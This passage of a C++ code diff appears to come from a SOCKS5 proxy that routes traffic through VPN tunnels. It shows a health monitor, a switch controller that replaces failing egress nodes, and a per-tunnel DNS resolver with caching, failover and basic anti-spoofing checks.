double rtt_ms = -1.0; // -1 = probe did not complete
bool probe_ok = false;
double connect_failure_rate = 0.0;
int64_t stalled_ms = 0; // 0 = moving, or unmeasurable
bool stall_known = false; // false = egress keeps no byte counters
double loss_rate = 0.0;
double score = 0.0;
bool healthy = false;
std::string verdict; // one line, human-first
Clock::time_point at{};
};
class HealthMonitor {
public:
// Returns the egress to sample, or null if there is none. Same seam as
// socks5::Server::EgressProvider, and for the same reason: the monitor is
// testable against a DirectEgress with no manager in sight.
using EgressProvider = std::function<egress::EgressPtr()>;
using UnhealthyHandler = std::function<void(const std::string &why)>;
HealthMonitor(asio::io_context &io, HealthConfig cfg, EgressProvider acquire);
~HealthMonitor();
HealthMonitor(const HealthMonitor &) = delete;
HealthMonitor &operator=(const HealthMonitor &) = delete;
// Fires once per *sustained* failure, not once per bad sample: after it fires
// the window counter resets, so a node that stays bad does not produce a
// switch request every `interval`. Set before start().
void set_on_unhealthy(UnhealthyHandler h);
void start();
void stop();
// Runs a round now, off-schedule, and re-arms the timer from here. Used by
// the admin endpoint and by SwitchController right after a promotion, when
// waiting a full interval to learn whether the new node works is too slow.
void probe_now();
Sample last() const;
std::vector<Sample> recent(size_t n) const;
int consecutive_bad() const;
uint64_t rounds() const;
private:
void arm();
void run_round();
void finish_probe(egress::EgressPtr eg, double rtt_ms, bool ok,
const std::string &probe_note);
void publish(Sample s);
// Byte-motion bookkeeping, reset whenever the egress underneath changes.
void update_stall(const egress::EgressStats &st, Sample *out);
asio::io_context &io_;
HealthConfig cfg_;
EgressProvider acquire_;
Strand strand_;
asio::steady_timer timer_;
asio::steady_timer probe_timer_;
UnhealthyHandler on_unhealthy_;
std::atomic<bool> running_{false};
// Strand-only.
bool probe_in_flight_ = false;
std::string stall_label_;
uint64_t stall_bytes_ = 0;
Clock::time_point stall_since_{};
bool traffic_ever_seen_ = false;
mutable std::mutex mu_;
std::deque<Sample> history_;
int consecutive_bad_ = 0;
uint64_t rounds_ = 0;
};
} // namespace ovg::health
+215
View File
@@ -0,0 +1,215 @@
#include "health/switch_controller.h"
#include <utility>
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::health {
namespace {
constexpr const char *kMod = "switch";
// The tunnel-down watchdog runs faster than the health interval on purpose: an
// egress that has reported Down is not a scoring question, and the answer does
// not improve by waiting for three probe timeouts.
constexpr std::chrono::milliseconds kWatchdogInterval{3000};
metrics::Counter *m_requested() {
static auto *c = metrics::counter("ovg_switch_requests_total",
"Switches asked for by the controller");
return c;
}
metrics::Counter *m_declined() {
static auto *c =
metrics::counter("ovg_switch_declined_total",
"Switch requests the egress manager refused");
return c;
}
} // namespace
SwitchController::SwitchController(asio::io_context &io, const Config &cfg,
HealthMonitor &monitor,
egress::EgressManager &manager)
: io_(io),
cfg_(cfg),
monitor_(monitor),
manager_(manager),
strand_(asio::make_strand(io)),
watchdog_(strand_),
opportunistic_(strand_) {}
SwitchController::~SwitchController() { stop(); }
void SwitchController::start() {
if (running_.exchange(true, std::memory_order_acq_rel)) return;
monitor_.set_on_unhealthy([this](const std::string &why) {
// Hop to our strand: the monitor calls this from its own, and every counter
// and timer here belongs to ours.
asio::post(strand_, [this, why] {
{
std::lock_guard<std::mutex> lk(mu_);
stats_.unhealthy++;
}
ask(egress::SwitchReason::Unhealthy, why, false);
});
});
asio::post(strand_, [this] {
arm_watchdog();
arm_opportunistic();
});
if (cfg_.switching.opportunistic_interval.count() > 0) {
LOG_INFO(kMod, "opportunistic scan every {}ms (margin {:.0f}%)",
cfg_.switching.opportunistic_interval.count(),
cfg_.switching.improvement_margin * 100.0);
} else {
LOG_INFO(kMod, "opportunistic scanning disabled; switching on degradation "
"only");
}
}
void SwitchController::stop() {
if (!running_.exchange(false, std::memory_order_acq_rel)) return;
asio::post(strand_, [this] {
watchdog_.cancel();
opportunistic_.cancel();
});
}
void SwitchController::arm_watchdog() {
if (!running_.load(std::memory_order_acquire)) return;
watchdog_.expires_after(kWatchdogInterval);
watchdog_.async_wait([this](const std::error_code &ec) {
if (ec) return;
check_tunnel();
arm_watchdog();
});
}
void SwitchController::check_tunnel() {
const auto st = manager_.status();
// Only interesting while nothing is already being done about it. During
// Selecting/Connecting/Promoting a replacement is on its way, and during a
// drain the *active* egress is the new one.
if (st.phase != egress::SwitchPhase::Idle &&
st.phase != egress::SwitchPhase::Draining) {
return;
}
const bool down = st.active_state == egress::EgressState::Down ||
st.active_node.empty();
if (!down) {
down_reported_ = false;
return;
}
if (down_reported_) return;
down_reported_ = true;
{
std::lock_guard<std::mutex> lk(mu_);
stats_.tunnel_down++;
}
ask(egress::SwitchReason::TunnelDown,
st.active_node.empty()
? "no active egress"
: "active egress " + st.active_node + " is down" +
(st.active_detail.empty() ? "" : ": " + st.active_detail),
false);
}
void SwitchController::arm_opportunistic() {
if (!running_.load(std::memory_order_acquire)) return;
const auto every = cfg_.switching.opportunistic_interval;
if (every.count() <= 0) return;
opportunistic_.expires_after(every);
opportunistic_.async_wait([this](const std::error_code &ec) {
if (ec) return;
const auto st = manager_.status();
// Only when everything is quiet. Chasing a better node while a switch is
// in flight is how you get two switches for one problem.
if (st.phase == egress::SwitchPhase::Idle) {
const auto sample = monitor_.last();
// And only when the current node is actually healthy: if it is not, the
// unhealthy path owns the decision and has better reasons than "it has
// been a while".
if (sample.healthy) {
{
std::lock_guard<std::mutex> lk(mu_);
stats_.opportunistic++;
}
ask(egress::SwitchReason::BetterCandidate,
"periodic scan for a better node", false);
}
}
arm_opportunistic();
});
}
void SwitchController::note_promotion(const std::string &from,
const std::string &to) {
asio::post(strand_, [this, from, to] {
// A promotion is the one moment the health picture is guaranteed stale.
down_reported_ = false;
LOG_INFO(kMod, "promotion {} -> {}; re-probing health now", from, to);
monitor_.probe_now();
});
}
bool SwitchController::force_switch(const std::string &why,
std::string *detail) {
{
std::lock_guard<std::mutex> lk(mu_);
stats_.manual++;
}
LOG_INFO(kMod, "manual switch requested: {}", why);
// Not posted to the strand: the caller (admin) wants the accept/decline
// answer synchronously, and request_switch is thread-safe by contract.
const bool ok =
manager_.request_switch(egress::SwitchReason::Manual, true, detail);
{
std::lock_guard<std::mutex> lk(mu_);
stats_.requested++;
if (!ok) stats_.declined++;
stats_.last_trigger = "manual: " + why;
}
m_requested()->inc();
if (!ok) m_declined()->inc();
return ok;
}
void SwitchController::ask(egress::SwitchReason reason, const std::string &why,
bool force) {
LOG_WARN(kMod, "requesting a switch ({}): {}",
egress::switch_reason_name(reason), why);
std::string declined_why;
const bool ok = manager_.request_switch(reason, force, &declined_why);
{
std::lock_guard<std::mutex> lk(mu_);
stats_.requested++;
if (!ok) stats_.declined++;
stats_.last_trigger =
std::string(egress::switch_reason_name(reason)) + ": " + why;
}
m_requested()->inc();
if (!ok) {
m_declined()->inc();
// Not an error: the manager refuses inside the anti-flap window and during
// backoff, which is exactly what those exist for. Say so plainly, with the
// actual reason, so nobody goes looking for a bug when the logs show a
// request with no switch after it.
LOG_INFO(kMod, "switch declined by the manager: {}", declined_why);
}
}
SwitchController::Stats SwitchController::stats() const {
std::lock_guard<std::mutex> lk(mu_);
return stats_;
}
} // namespace ovg::health
+116
View File
@@ -0,0 +1,116 @@
// Turns health verdicts into switch requests.
//
// ---------------------------------------------------------------------------
// Why this is not part of either neighbour
// ---------------------------------------------------------------------------
// HealthMonitor answers "is this node still good?". EgressManager answers "how
// do I replace a node without dropping the world?". Neither should own the
// policy that connects them, because that policy is the part most likely to
// change: how long to wait after startup, whether to chase a better node while
// the current one is fine, what a tunnel that went Down on its own means.
// Keeping it here means those decisions are readable in one file instead of
// spread across a health check and a state machine.
//
// The mechanism it drives is deliberately thin. EgressManager::request_switch
// already enforces the anti-flap interval, the exponential backoff after a
// failed switch, and the "must beat the incumbent by improvement_margin" test.
// This class must not reimplement any of that -- it decides *whether to ask*,
// and asking is cheap and idempotent.
//
// ---------------------------------------------------------------------------
// What triggers a switch
// ---------------------------------------------------------------------------
// sustained unhealthy HealthMonitor fired after `unhealthy_windows` bad
// rounds -> request_switch(Unhealthy)
// tunnel gone the active egress reports Down without any help from
// the health score -> request_switch(TunnelDown). This
// is checked on its own short timer because a dead
// tunnel should not wait for a probe to time out three
// times to be noticed.
// opportunistic off by default (SwitchConfig::opportunistic_interval)
// -> request_switch(BetterCandidate), which the manager
// declines unless a candidate is genuinely better.
//
// After a promotion the monitor is nudged (probe_now) rather than left to its
// timer: the first question about a new node is whether it works at all, and
// waiting a full interval to ask is a slow way to find out we switched onto
// something worse.
#pragma once
#include <asio.hpp>
#include <atomic>
#include <cstdint>
#include <mutex>
#include <string>
#include "common/config.h"
#include "common/strand_deleter.h"
#include "egress/egress_manager.h"
#include "health/health_monitor.h"
namespace ovg::health {
class SwitchController {
public:
SwitchController(asio::io_context &io, const Config &cfg,
HealthMonitor &monitor, egress::EgressManager &manager);
~SwitchController();
SwitchController(const SwitchController &) = delete;
SwitchController &operator=(const SwitchController &) = delete;
// Subscribes to the monitor and starts the watchdog/opportunistic timers.
// Call before HealthMonitor::start() so no verdict is missed.
void start();
void stop();
// The admin endpoint's POST /switch. Bypasses the anti-flap interval and the
// improvement margin; still refused while a switch is already running. On a
// refusal `detail` (optional) gets the manager's specific reason, which is the
// only thing that makes a 409 actionable.
bool force_switch(const std::string &why, std::string *detail = nullptr);
// Called by whoever owns EgressManager::set_on_promote -- there is only one
// such hook and the SOCKS5 server needs it too, so app/ installs a handler
// that fans out and this is our half of it. Re-probes health immediately: the
// first thing worth knowing about a new node is whether it works at all, and
// waiting a full health interval to ask is a slow way to discover we moved
// onto something worse.
void note_promotion(const std::string &from, const std::string &to);
struct Stats {
uint64_t requested = 0; // switches we asked for
uint64_t declined = 0; // ...that the manager refused
uint64_t unhealthy = 0; // triggered by a sustained bad score
uint64_t tunnel_down = 0; // triggered by the egress reporting Down
uint64_t opportunistic = 0;
uint64_t manual = 0;
std::string last_trigger = "-";
};
Stats stats() const;
private:
void arm_watchdog();
void check_tunnel();
void arm_opportunistic();
void ask(egress::SwitchReason reason, const std::string &why, bool force);
asio::io_context &io_;
Config cfg_;
HealthMonitor &monitor_;
egress::EgressManager &manager_;
Strand strand_;
asio::steady_timer watchdog_;
asio::steady_timer opportunistic_;
std::atomic<bool> running_{false};
// Strand-only: stops a tunnel that stays Down from producing one request per
// watchdog tick while the switch it already asked for is still running.
bool down_reported_ = false;
mutable std::mutex mu_;
Stats stats_;
};
} // namespace ovg::health
+609
View File
@@ -0,0 +1,609 @@
#include "netstack/dns_resolver.h"
#include <algorithm>
#include <cctype>
#include <cstring>
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
namespace ovg::netstack {
namespace {
constexpr const char *kMod = "dns";
constexpr uint16_t kPortDns = 53;
constexpr size_t kHeaderLen = 12;
constexpr uint16_t kTypeA = 1;
constexpr uint16_t kClassIn = 1;
// UDP answers larger than this are truncated by definition (no EDNS0 means a
// 512-byte payload limit), but tunnels have been seen to deliver more, so the
// buffer is a full MTU rather than 512.
constexpr size_t kRxBuf = 1500;
// Floor on a single server's share of the total budget. Below this, a server on
// a high-latency VPN node is being written off before it has had a chance to
// answer, and the failover is pure loss.
constexpr Millis kMinPerServer{700};
metrics::Counter *queries_total() {
static auto *c = metrics::counter("ovg_dns_queries_total",
"DNS queries sent through a tunnel");
return c;
}
metrics::Counter *cache_hits_total() {
static auto *c =
metrics::counter("ovg_dns_cache_hits_total", "DNS lookups served from cache");
return c;
}
metrics::Counter *failures_total() {
static auto *c = metrics::counter("ovg_dns_failures_total",
"DNS lookups that produced no address");
return c;
}
std::string lowercase(const std::string &s) {
std::string r = s;
std::transform(r.begin(), r.end(), r.begin(), [](unsigned char c) {
return static_cast<char>(std::tolower(c));
});
return r;
}
inline uint16_t rd16(const uint8_t *p) {
return static_cast<uint16_t>((p[0] << 8) | p[1]);
}
inline uint32_t rd32(const uint8_t *p) {
return (static_cast<uint32_t>(p[0]) << 24) |
(static_cast<uint32_t>(p[1]) << 16) |
(static_cast<uint32_t>(p[2]) << 8) | static_cast<uint32_t>(p[3]);
}
// Advances *pos past one wire-format name. Compression pointers are not
// followed -- a pointer terminates the name, and every name in a response we
// care about is one we are only skipping over.
bool skip_name(const uint8_t *d, size_t len, size_t *pos) {
size_t p = *pos;
for (int labels = 0; labels < 128; ++labels) {
if (p >= len) return false;
const uint8_t l = d[p];
if ((l & 0xC0) == 0xC0) {
if (p + 1 >= len) return false;
*pos = p + 2;
return true;
}
if ((l & 0xC0) != 0) return false; // reserved label type
if (l == 0) {
*pos = p + 1;
return true;
}
p += 1u + l;
}
return false;
}
} // namespace
namespace dns {
bool build_query(const std::string &name, uint16_t id,
std::vector<uint8_t> *out) {
if (out == nullptr) return false;
// A single trailing dot is the root label and is implied by the encoding.
std::string n = name;
if (!n.empty() && n.back() == '.') n.pop_back();
if (n.empty() || n.size() > 253) return false;
std::vector<uint8_t> qname;
qname.reserve(n.size() + 2);
size_t start = 0;
while (start <= n.size()) {
const size_t dot = n.find('.', start);
const size_t end = (dot == std::string::npos) ? n.size() : dot;
const size_t label_len = end - start;
if (label_len == 0 || label_len > 63) return false;
qname.push_back(static_cast<uint8_t>(label_len));
qname.insert(qname.end(), n.begin() + static_cast<long>(start),
n.begin() + static_cast<long>(end));
if (dot == std::string::npos) break;
start = dot + 1;
}
qname.push_back(0);
if (qname.size() > 255) return false;
out->clear();
out->reserve(kHeaderLen + qname.size() + 4);
out->push_back(static_cast<uint8_t>(id >> 8));
out->push_back(static_cast<uint8_t>(id & 0xFF));
out->push_back(0x01); // RD
out->push_back(0x00);
out->push_back(0x00);
out->push_back(0x01); // QDCOUNT = 1
for (int i = 0; i < 6; ++i) out->push_back(0x00); // AN/NS/AR = 0
out->insert(out->end(), qname.begin(), qname.end());
out->push_back(0x00);
out->push_back(static_cast<uint8_t>(kTypeA));
out->push_back(0x00);
out->push_back(static_cast<uint8_t>(kClassIn));
return true;
}
bool parse_response(const uint8_t *data, size_t len, ParseResult *out) {
if (data == nullptr || out == nullptr || len < kHeaderLen) return false;
const uint16_t flags = rd16(data + 2);
if ((flags & 0x8000) == 0) return false; // a query, not a response
out->id = rd16(data);
out->rcode = flags & 0x000F;
out->truncated = (flags & 0x0200) != 0;
out->addrs.clear();
out->min_ttl = 0;
const uint16_t qdcount = rd16(data + 4);
const uint16_t ancount = rd16(data + 6);
size_t pos = kHeaderLen;
for (uint16_t i = 0; i < qdcount; ++i) {
if (!skip_name(data, len, &pos)) return false;
if (pos + 4 > len) return false;
pos += 4; // QTYPE + QCLASS
}
bool have_ttl = false;
for (uint16_t i = 0; i < ancount; ++i) {
if (!skip_name(data, len, &pos)) return false;
if (pos + 10 > len) return false;
const uint16_t rtype = rd16(data + pos);
const uint16_t rclass = rd16(data + pos + 2);
const uint32_t ttl = rd32(data + pos + 4);
const uint16_t rdlen = rd16(data + pos + 8);
pos += 10;
if (pos + rdlen > len) return false;
if (rtype == kTypeA && rclass == kClassIn && rdlen == 4) {
out->addrs.push_back(IpAddress::from_bytes_v4(data + pos));
// The shortest TTL in the set governs the whole set: caching an address
// past its own TTL because a sibling record lived longer is how stale
// entries outlive a failover.
if (!have_ttl || ttl < out->min_ttl) {
out->min_ttl = ttl;
have_ttl = true;
}
}
// CNAMEs are skipped rather than chased: a resolver that answers a CNAME
// without the A record it points at is broken, and every real one inlines
// the whole chain.
pos += rdlen;
}
return true;
}
} // namespace dns
// ---------------------------------------------------------------------------
// DnsResolver
// ---------------------------------------------------------------------------
std::shared_ptr<DnsResolver> DnsResolver::create(std::shared_ptr<Netif> netif,
DnsConfig cfg) {
return std::shared_ptr<DnsResolver>(
new DnsResolver(std::move(netif), std::move(cfg)));
}
DnsResolver::DnsResolver(std::shared_ptr<Netif> netif, DnsConfig cfg)
: netif_(std::move(netif)),
cfg_(std::move(cfg)),
strand_(asio::make_strand(netif_->stack().io())),
rng_(std::random_device{}()) {
rx_buf_.resize(kRxBuf);
auto add = [this](const IpAddress &a) {
if (!a.valid() || !a.is_v4()) return;
if (std::find(servers_.begin(), servers_.end(), a) != servers_.end()) return;
servers_.push_back(a);
};
// Pushed servers first: they are inside the tunnel's own network and are the
// only ones guaranteed to be reachable from it.
for (const auto &a : netif_->dns_servers()) add(a);
for (const auto &s : cfg_.fallback_servers) {
if (auto a = IpAddress::parse(s)) add(*a);
}
if (servers_.empty()) {
LOG_WARN(kMod,
"{}: no usable DNS server (node pushed none and no fallback "
"parsed); every lookup on this tunnel will fail",
netif_->label());
} else {
std::string list;
for (const auto &a : servers_) {
if (!list.empty()) list += ", ";
list += a.to_string();
}
LOG_DEBUG(kMod, "{}: resolver servers: {}", netif_->label(), list);
}
}
DnsResolver::~DnsResolver() {
// The last reference is gone, so nothing else can be touching this object --
// which is what makes it safe to answer the stragglers inline rather than
// posting to a strand that may never run again.
const auto ec = make_error_code(Error::Cancelled);
for (auto &[id, q] : by_id_) {
(void)id;
if (q->done) continue;
q->done = true;
for (auto &w : q->waiters) w(ec, {});
}
by_id_.clear();
by_name_.clear();
}
void DnsResolver::async_resolve(const std::string &host, Handler h) {
auto self = shared_from_this();
asio::post(strand_, [self, host, h = std::move(h)]() mutable {
self->start(host, std::move(h));
});
}
void DnsResolver::start(const std::string &host, Handler h) {
// A literal needs no server, no socket and no cache entry. SOCKS5 clients
// send these constantly (anything that resolved on its own), so short-
// circuiting here is not a micro-optimization.
if (auto lit = IpAddress::parse(host)) {
std::vector<IpAddress> one{*lit};
asio::post(strand_, [h = std::move(h), one]() mutable {
h(std::error_code{}, std::move(one));
});
return;
}
const std::string name = lowercase(host);
std::vector<IpAddress> cached;
if (cache_get(name, &cached)) {
{
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.cache_hits++;
}
cache_hits_total()->inc();
asio::post(strand_, [h = std::move(h), cached]() mutable {
h(std::error_code{}, std::move(cached));
});
return;
}
// Two SOCKS5 sessions opening the same site at once should cost one query,
// not two -- and with 1000 concurrent connections that ratio matters.
if (auto it = by_name_.find(name); it != by_name_.end()) {
it->second->waiters.push_back(std::move(h));
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.coalesced++;
return;
}
auto q = std::make_shared<Query>(strand_);
q->name = name;
q->id = allocate_id();
q->deadline = Clock::now() + cfg_.timeout;
q->waiters.push_back(std::move(h));
if (!dns::build_query(name, q->id, &q->wire)) {
LOG_DEBUG(kMod, "{}: refusing to look up a malformed name: {}",
netif_->label(), host);
auto waiters = std::move(q->waiters);
for (auto &w : waiters) {
asio::post(strand_, [w = std::move(w)]() mutable {
w(make_error_code(Error::ProtocolError), {});
});
}
return;
}
by_id_[q->id] = q;
by_name_[name] = q;
{
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.queries++;
}
queries_total()->inc();
if (servers_.empty()) {
finish(q, make_error_code(Error::ResolveFailed), {}, 0);
return;
}
if (sock_) {
send_query(q);
return;
}
pending_open_.push_back(q);
open_socket();
}
void DnsResolver::open_socket() {
if (opening_ || sock_) return;
opening_ = true;
auto self = shared_from_this();
netif_->async_open_udp(
strand_, [self](const std::error_code &ec, UdpSocketPtr sock) {
self->opening_ = false;
auto pending = std::move(self->pending_open_);
self->pending_open_.clear();
if (ec) {
LOG_WARN(kMod, "{}: cannot open a DNS socket: {}",
self->netif_->label(), ec.message());
for (auto &q : pending) self->finish(q, ec, {}, 0);
return;
}
self->sock_ = std::move(sock);
LOG_DEBUG(kMod, "{}: resolver socket {}", self->netif_->label(),
self->sock_->local_endpoint().to_string());
self->arm_receive();
for (auto &q : pending) self->send_query(q);
});
}
void DnsResolver::arm_receive() {
if (!sock_ || receiving_) return;
receiving_ = true;
auto self = shared_from_this();
sock_->async_receive_from(
asio::buffer(rx_buf_),
[self](const std::error_code &ec, size_t n, const Endpoint &from) {
self->on_datagram(ec, n, from);
});
}
void DnsResolver::send_query(const std::shared_ptr<Query> &q) {
if (q->done) return;
if (!sock_) {
finish(q, make_error_code(Error::EgressGone), {}, 0);
return;
}
const auto now = Clock::now();
if (q->server_idx >= servers_.size() || now >= q->deadline) {
// Every server either timed out or refused. Report the last RCODE if we got
// one -- "no such host" and "nothing answered" are different problems for
// whoever reads the log.
const auto ec = make_error_code(Error::ResolveFailed);
LOG_DEBUG(kMod, "{}: {} unresolved after {} server(s) (last rcode {})",
netif_->label(), q->name, servers_.size(), q->last_rcode);
finish(q, ec, {}, 0);
return;
}
const Endpoint server(servers_[q->server_idx], kPortDns);
// Split the total budget across the servers so that a dead first resolver
// cannot consume it all, but never below the floor.
Millis per = cfg_.timeout / static_cast<int>(std::max<size_t>(1, servers_.size()));
if (per < kMinPerServer) per = kMinPerServer;
const auto remaining =
std::chrono::duration_cast<Millis>(q->deadline - now);
q->timer.expires_after(std::min(per, remaining));
auto self = shared_from_this();
q->timer.async_wait([self, q](const std::error_code &ec) {
if (ec) return; // cancelled: the answer arrived
self->on_query_timeout(q);
});
LOG_TRACE(kMod, "{}: query {} A {} -> {}", netif_->label(), q->id, q->name,
server.to_string());
sock_->async_send_to(asio::buffer(q->wire), server,
[self, q](const std::error_code &ec, size_t) {
if (!ec || q->done) return;
// A send that fails outright is a dead server; do not
// spend the timeout waiting to learn that.
q->timer.cancel();
q->server_idx++;
self->send_query(q);
});
}
void DnsResolver::on_query_timeout(const std::shared_ptr<Query> &q) {
if (q->done) return;
{
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.timeouts++;
}
LOG_TRACE(kMod, "{}: query {} for {} timed out on server {}",
netif_->label(), q->id, q->name, q->server_idx);
q->server_idx++;
send_query(q);
}
void DnsResolver::on_datagram(const std::error_code &ec, size_t n,
const Endpoint &from) {
receiving_ = false;
if (ec) {
if (ec != asio::error::operation_aborted) {
LOG_WARN(kMod, "{}: resolver socket failed: {}", netif_->label(),
ec.message());
}
// Drop the socket so the next lookup opens a fresh one; the tunnel itself
// may still be perfectly healthy.
sock_.reset();
fail_all(ec);
return;
}
dns::ParseResult r;
if (!dns::parse_response(rx_buf_.data(), n, &r)) {
LOG_TRACE(kMod, "{}: discarded a {}-byte malformed response from {}",
netif_->label(), n, from.to_string());
arm_receive();
return;
}
auto it = by_id_.find(r.id);
if (it == by_id_.end()) {
// Late answer to a query we already gave up on, or an unsolicited packet.
arm_receive();
return;
}
auto q = it->second;
// Cheap anti-spoofing: only accept from an address we actually asked. Inside
// a tunnel this is close to redundant, but the tunnel is a hostile network by
// assumption -- it belongs to a stranger who volunteered a VPN node.
const bool known_server =
!from.is_domain() &&
std::find(servers_.begin(), servers_.end(), from.address()) !=
servers_.end();
if (!known_server) {
LOG_DEBUG(kMod, "{}: ignoring a response for query {} from {}, which is "
"not one of our servers",
netif_->label(), r.id, from.to_string());
arm_receive();
return;
}
if (r.rcode != 0 || r.addrs.empty()) {
// Fail over rather than trust it. VPNGate nodes push whatever resolver
// their operator happened to have, and answering NXDOMAIN for names that
// plainly exist is common enough that treating one negative answer as
// authoritative would break the proxy on those nodes. The cost is that a
// genuinely nonexistent name is asked of every server before it fails.
q->last_rcode = r.rcode;
LOG_TRACE(kMod, "{}: server {} answered rcode={} with {} address(es) for {}",
netif_->label(), q->server_idx, r.rcode, r.addrs.size(), q->name);
q->timer.cancel();
q->server_idx++;
send_query(q);
arm_receive();
return;
}
if (r.truncated) {
LOG_TRACE(kMod, "{}: truncated answer for {}, keeping the {} address(es) "
"that fit",
netif_->label(), q->name, r.addrs.size());
}
finish(q, {}, std::move(r.addrs), r.min_ttl);
arm_receive();
}
void DnsResolver::finish(const std::shared_ptr<Query> &q,
const std::error_code &ec, std::vector<IpAddress> addrs,
uint32_t ttl_seconds) {
if (q->done) return;
q->done = true;
q->timer.cancel();
by_id_.erase(q->id);
if (auto it = by_name_.find(q->name); it != by_name_.end() && it->second == q)
by_name_.erase(it);
if (!ec && !addrs.empty()) {
cache_put(q->name, addrs, ttl_seconds);
LOG_TRACE(kMod, "{}: {} -> {} (+{} more), ttl {}s", netif_->label(), q->name,
addrs.front().to_string(), addrs.size() - 1, ttl_seconds);
} else {
{
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.failures++;
}
failures_total()->inc();
}
auto waiters = std::move(q->waiters);
q->waiters.clear();
for (auto &w : waiters) {
// Posted, not called: a handler that starts another lookup would otherwise
// re-enter start() from inside finish(), while by_name_ is mid-erase.
asio::post(strand_, [w = std::move(w), ec, addrs]() mutable {
w(ec, addrs);
});
}
}
void DnsResolver::fail_all(const std::error_code &ec) {
std::vector<std::shared_ptr<Query>> all;
all.reserve(by_id_.size());
for (auto &[id, q] : by_id_) {
(void)id;
all.push_back(q);
}
for (auto &q : all) finish(q, ec, {}, 0);
}
uint16_t DnsResolver::allocate_id() {
// Random, not sequential: a predictable transaction ID is the other half of
// the spoofing check above.
for (int i = 0; i < 64; ++i) {
const uint16_t id = static_cast<uint16_t>(rng_() & 0xFFFF);
if (by_id_.find(id) == by_id_.end()) return id;
}
// 64 collisions means the table is saturated; any id will do at that point,
// and the loser is answered by whichever query completes first.
return static_cast<uint16_t>(rng_() & 0xFFFF);
}
void DnsResolver::cache_put(const std::string &name,
const std::vector<IpAddress> &addrs,
uint32_t ttl_seconds) {
if (addrs.empty() || cfg_.cache_entries == 0) return;
// Clamping both ends: a 30-second TTL would have us re-querying constantly on
// a high-latency tunnel, and a 7-day one would outlive several node switches.
Millis ttl(static_cast<int64_t>(ttl_seconds) * 1000);
ttl = std::clamp(ttl, cfg_.min_ttl, cfg_.max_ttl);
const auto expires = Clock::now() + ttl;
auto [it, inserted] = cache_.insert_or_assign(name, CacheEntry{addrs, expires});
if (inserted) cache_order_.push_back(name);
while (cache_.size() > cfg_.cache_entries && !cache_order_.empty()) {
// FIFO rather than LRU: keeping a per-entry access timestamp costs more
// than it saves at this size, and the TTL clamp already bounds staleness.
const std::string victim = cache_order_.front();
cache_order_.pop_front();
cache_.erase(victim);
}
}
bool DnsResolver::cache_get(const std::string &name,
std::vector<IpAddress> *out) {
auto it = cache_.find(name);
if (it == cache_.end()) return false;
if (Clock::now() >= it->second.expires) {
// Deliberately left in place. cache_order_ mirrors cache_ one entry per
// insertion; erasing here without touching the deque would let it drift and
// grow without bound as names expire and are re-inserted. The stale entry
// is either overwritten by the next answer or evicted with the rest.
return false;
}
*out = it->second.addrs;
return true;
}
void DnsResolver::clear_cache() {
auto self = shared_from_this();
asio::post(strand_, [self] {
const size_t n = self->cache_.size();
self->cache_.clear();
self->cache_order_.clear();
LOG_DEBUG(kMod, "{}: dropped {} cached name(s)", self->netif_->label(), n);
});
}
DnsResolver::Stats DnsResolver::stats() const {
std::lock_guard<std::mutex> lk(stats_mu_);
Stats s = stats_;
// cache_ and by_id_ are strand-owned; reading their size off-strand is a
// benign race on a number that is only ever displayed.
s.cached = cache_.size();
s.in_flight = by_id_.size();
return s;
}
} // namespace ovg::netstack
+167
View File
@@ -0,0 +1,167 @@
// A DNS resolver that queries through a specific tunnel.
//
// ---------------------------------------------------------------------------
// Why not lwIP's resolver
// ---------------------------------------------------------------------------
// lwIP ships one (LWIP_DNS), and it is disabled in lwip_port/lwipopts.h. It
// keeps a single global server list, a single global cache and a fixed table of
// in-flight queries -- all file-scope state, exactly like the rest of lwIP. That
// is fine with one interface and wrong with two: during a make-before-break
// switch both tunnels are up, each pushed its own resolvers, and a name looked
// up for a session on the old tunnel must be answered by the old tunnel's
// servers over the old tunnel's socket. A per-netif resolver is the only way to
// keep that straight, so this is roughly 400 lines we own instead of a global
// we would have to serialize access to and still get wrong.
//
// It also buys three things lwIP's does not offer: a TTL-clamped cache sized
// from config, coalescing of concurrent lookups for the same name, and failover
// across the pushed servers plus the configured fallbacks.
//
// ---------------------------------------------------------------------------
// Scope
// ---------------------------------------------------------------------------
// A records only. The stack is IPv4-only (see lwip_stack.h), so an AAAA answer
// could not be connected to even if we asked for it. No EDNS0, no DNSSEC, no
// TCP fallback: a truncated A-record answer that still carries one address is
// usable, and one that carries none fails over to the next server.
//
// ---------------------------------------------------------------------------
// Threading
// ---------------------------------------------------------------------------
// Its own strand, not the lwIP one. Parsing responses and walking the cache has
// no business running where every TCP segment in the process is also processed.
// Public methods are safe to call from any thread; handlers run on the strand.
#pragma once
#include <asio.hpp>
#include <chrono>
#include <cstdint>
#include <deque>
#include <memory>
#include <mutex>
#include <random>
#include <string>
#include <unordered_map>
#include <vector>
#include "common/config.h"
#include "netstack/lwip_stack.h"
#include "netstack/stream.h"
namespace ovg::netstack {
class DnsResolver final : public Resolver,
public std::enable_shared_from_this<DnsResolver> {
public:
// The server list is the netif's pushed resolvers followed by
// cfg.fallback_servers. Both are queried *through the tunnel*: a fallback is
// a different address, not a different path.
static std::shared_ptr<DnsResolver> create(std::shared_ptr<Netif> netif,
DnsConfig cfg);
~DnsResolver() override;
DnsResolver(const DnsResolver &) = delete;
DnsResolver &operator=(const DnsResolver &) = delete;
// Resolver
void async_resolve(const std::string &host, Handler h) override;
void clear_cache() override;
struct Stats {
uint64_t queries = 0;
uint64_t cache_hits = 0;
uint64_t coalesced = 0;
uint64_t timeouts = 0;
uint64_t failures = 0;
size_t cached = 0;
size_t in_flight = 0;
};
Stats stats() const;
private:
DnsResolver(std::shared_ptr<Netif> netif, DnsConfig cfg);
using Clock = std::chrono::steady_clock;
struct Query {
explicit Query(const Strand &s) : timer(s) {}
std::string name; // lowercased
uint16_t id = 0;
std::vector<Handler> waiters;
size_t server_idx = 0;
asio::steady_timer timer;
Clock::time_point deadline;
std::vector<uint8_t> wire; // kept so a retry does not rebuild it
int last_rcode = -1; // for the error message when all fail
bool done = false;
};
struct CacheEntry {
std::vector<IpAddress> addrs;
Clock::time_point expires;
};
// Strand-only.
void start(const std::string &name, Handler h);
void open_socket();
void arm_receive();
void on_datagram(const std::error_code &ec, size_t n, const Endpoint &from);
